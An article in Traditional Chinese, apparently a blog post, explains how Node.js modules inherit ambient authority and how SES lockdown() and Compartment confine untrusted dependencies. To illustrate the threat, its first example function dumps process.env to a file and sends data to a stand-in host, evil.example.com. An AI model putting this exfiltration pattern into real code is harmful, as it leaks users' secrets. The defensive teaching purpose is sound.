一個被攻破的傳遞依賴就能外洩你的 process.env、寫入你的檔案系統、開啟出站連線。它不需要你的程式碼存在漏洞。它只需要存在於同一個程序裡。在JavaScript中,每個模組預設繼承執行時的全部權限。這就是Ambient Authority,而移除它是你能對Node.js應用程式做的最有效的安全性升級之一。
JavaScript中的Ambient Authority長什麼樣
Ambient Authority意味著存取權限不繫結於「你被給予了什麼」,而是繫結於「你在哪裡執行」。Node.js程序內的任何程式碼都可以在不請求許可的情況下伸手去碰 fs、http、child_process 或 process.env。執行時把這些全域物件提供給每一個模組,無論是否可信。
// This module has no business touching the filesystem.
// But it can. Because it is in the same process.
import fs from 'node:fs';
import https from 'node:https';
function innocentUtility(data) {
fs.writeFileSync('/tmp/stolen.json', JSON.stringify(process.env));
https.get('https://evil.example.com/exfil?data=' + encodeURIComponent(data));
return data.toUpperCase();
}
innocentUtility 函式被引入進來是為了把字串轉成大寫。因為它跑在Node.js程序裡面,所以它也擁有讀取環境變數和對外通訊的能力。沒有 sandbox。沒有權限模型。這段程式碼之所以預設擁有這些權力,僅僅因為執行時把它們放在了觸手可及的地方。
這不是假設。npm上的供應鏈攻擊經常利用的正是這一特性。惡意或被攻破的依賴不需要零日漏洞。它只需要被 require 進來。
Lockdown:第一刀
Agoric維護的SES(Secure ECMAScript)shim提供了一個 lockdown() 函式,用於加固JavaScript執行環境。它會凍結所有內建原型、移除 eval 和 Function 建構函式等危險全域物件,並防止原型汙染。lockdown之後,你自己的程式碼無法再意外或惡意地竄改 Array.prototype 或 Object.prototype。
import 'ses';
lockdown();
// This now throws. The Function constructor is gone.
const fn = new Function('return process.env');
// This also throws. Prototypes are frozen.
Array.prototype.evil = () => {};
lockdown很強大,但光靠它還不夠。它能防止共享環境被竄改,卻沒能移除Ambient Authority。一個經過lockdown的模組仍然可以執行 import fs from 'node:fs' 來讀取你的磁碟。lockdown保護的是語言。它不保護宿主。
Compartment:剝光宿主
Compartment 是一個擁有獨立全域作用域的全新JavaScript執行環境。與 vm 上下文或Web Worker不同,compartment共享同一個事件迴圈和記憶體堆積,但它一開始什麼都沒有。沒有 console,沒有 fetch,沒有 process。你必須顯式賦予它每一項被允許使用的capability。
import 'ses';
import { readFileSync } from 'node:fs';
lockdown();
const compartment = new Compartment({
// Only these globals exist inside the compartment.
console,
Math,
JSON,
});
// This code runs inside the compartment with no ambient authority.
const result = compartment.evaluate(`
// This throws: fetch is not defined.
// fetch('https://evil.example.com');
// This works: Math was endowed.
Math.sqrt(16)
`);
console.log(result); // 4
這個compartment碰不到檔案系統、網路和 process.env,因為這些capability從未被傳入。即使compartment內部的程式碼被攻破,爆炸半徑也被限制在你所賦予的範圍內。
安全載入不可信模組
真正的供應鏈防禦意味著把第三方程式碼載入進compartment,並且只給它真正需要的權限。以下是一個適用於CommonJS或ESM bundle的模式。
import 'ses';
import { readFileSync } from 'node:fs';
lockdown();
// A constrained filesystem capability.
function createScopedReader(baseDir) {
return {
readFile(filename) {
const path = require('node:path').join(baseDir, filename);
// In production, validate the resolved path is inside baseDir.
return readFileSync(path, 'utf-8');
}
};
}
const untrustedCode = readFileSync('./vendor/some-plugin.js', 'utf-8');
const compartment = new Compartment({
console: {
log: (...args) => console.log('[plugin]', ...args)
},
fs: createScopedReader('./data/readonly/'),
});
// The plugin can only read files under ./data/readonly/
// and write to a prefixed console. Nothing else.
compartment.evaluate(untrustedCode);
供應商程式碼活在同一個程序裡,但它在capability邊界內運作。它打不開通訊端。它讀不了你倉儲裡的 package.json。它只能讀取你顯式劃定範圍的檔案,只能透過你提供的包裝器輸出日誌。
這不是理論上的加固。Agoric區塊鏈將這個模型用於其智慧合約平台。每一個智慧合約都在經過lockdown的compartment內執行,帶著顯式賦予的capability。
你會遇到的權衡
compartment不是免費的。SES shim會給原型打補丁、重寫一些內建行為,這會帶來一點初始化開銷。更重要的是,大量npm套件都預設依賴Ambient Authority。它們不匯入就直接去抓 process、Buffer 或 setImmediate。這些全域物件一旦缺失,程式碼就會崩潰。
你有三個選擇。第一,在compartment內用安全實作來polyfill缺失的全域物件。第二,賦予真正的全域物件並承擔風險。第三,稽核依賴並修正它的假設。
多數時候,依賴只是需要 Buffer 或 setTimeout。這些可以放心賦予。危險的是 fs、net、child_process 和 process.env。這些永遠不應該進入compartment,除非內部程式碼真的需要它們,即便如此你也應該包裝它們。
除錯也會變得更困難。compartment內部的stack trace指向的是被求值的字串或虛擬化原始碼。現代Node.js的source map支援能幫上忙,但出問題的時候你仍然要花時間去對應行號。
哪裡會失效
原生外掛程式和WASM模組會完全繞過JavaScript執行時。用 require 載入的 .node 檔案在SES compartment外部執行,保留著完整的Ambient Authority。如果你需要對原生程式碼做sandboxed,compartment不是答案。你需要作業系統層級的隔離:seccomp、Landlock,或者單獨的程序。
compartment還共享同一個堆積和事件迴圈。一個compartment仍然可以用無窮迴圈餓死CPU,或者不斷分配記憶體直到程序崩潰。SES提供了 compute 計量器來限制執行,但預設compartment不強制資源限制。它是安全邊界,不是資源邊界。
實用的起點
你不需要重寫整個應用程式。從風險最高的依賴開始:任何解析不可信輸入的東西、任何動態載入的東西、任何你不認識的發行者的東西。
import 'ses';
lockdown();
function runUntrusted(pluginCode, userData) {
const compartment = new Compartment({
JSON,
Array,
Object,
// No fetch, no fs, no process.
});
// The plugin receives data and returns a result.
// It cannot phone home. It cannot read files.
return compartment.evaluate(`
(${pluginCode})(${JSON.stringify(userData)})
`);
}
把你的外掛系統、模板引擎、使用者提供的指令碼都包起來。給每一個一個只帶最小必要權限的compartment。如果某個依賴在compartment裡跑不起來,那是一個訊號。它是按照「我擁有整個程序」的假設寫出來的。你要移除的,正是這種假設。
常見問題
Compartment和Node的 vm 模組有什麼區別?
vm 會建立一個帶有新全域物件的上下文,但除非你顯式移除,它仍然可以存取完整的Node.js API。compartment從空開始,需要顯式的endowment。它還與SES lockdown整合,防止整個執行時的原型被竄改。
這能和TypeScript或打包工具一起用嗎?
可以。compartment執行的是JavaScript,所以你要先把TypeScript編譯掉。Rollup或esbuild等打包工具可以把依賴打成一個檔案,再載入進compartment。打包工具會去掉動態匯入,這反而讓compartmentsandboxed更容易。
賦予的capability能撤銷嗎?
不能直接撤銷。傳入compartment的capability是對JavaScript物件的參照。如果你需要撤銷機制,把capability包進一個代理或帶權杖檢查的包裝器裡,在每次存取時檢查一個旗標。這是所有capability系統都面臨的同一個撤銷問題。
SES已經能在生產環境使用了嗎?
SES自2021年起就在Agoric區塊鏈的生產環境中執行。npm上的 ses 套件在積極維護。它已經通過TC39的JavaScript標準化提案流程,但尚未成為語言規格的一部分。
這會取代containerization嗎?
不會。compartment是程序層級的安全邊界。container 是作業系統層級的邊界。用compartment限制程序內部程式碼能做什麼。用 container限制程序本身能做什麼。兩者是疊加強化的關係。
Ambient Authority之所以是JavaScript的預設,是因為它方便。方便和安全不是一回事。lockdown和compartment讓你剝除每個模組預設繼承的環境權力,用顯式的、有範圍的、可稽核的capability取而代之。從一個不可信的依賴開始。把它放進compartment。拿走它的 fs 和 fetch。看看什麼真正會壞。多數時候,壞掉的東西是你的依賴本來就沒有資格做出的假設。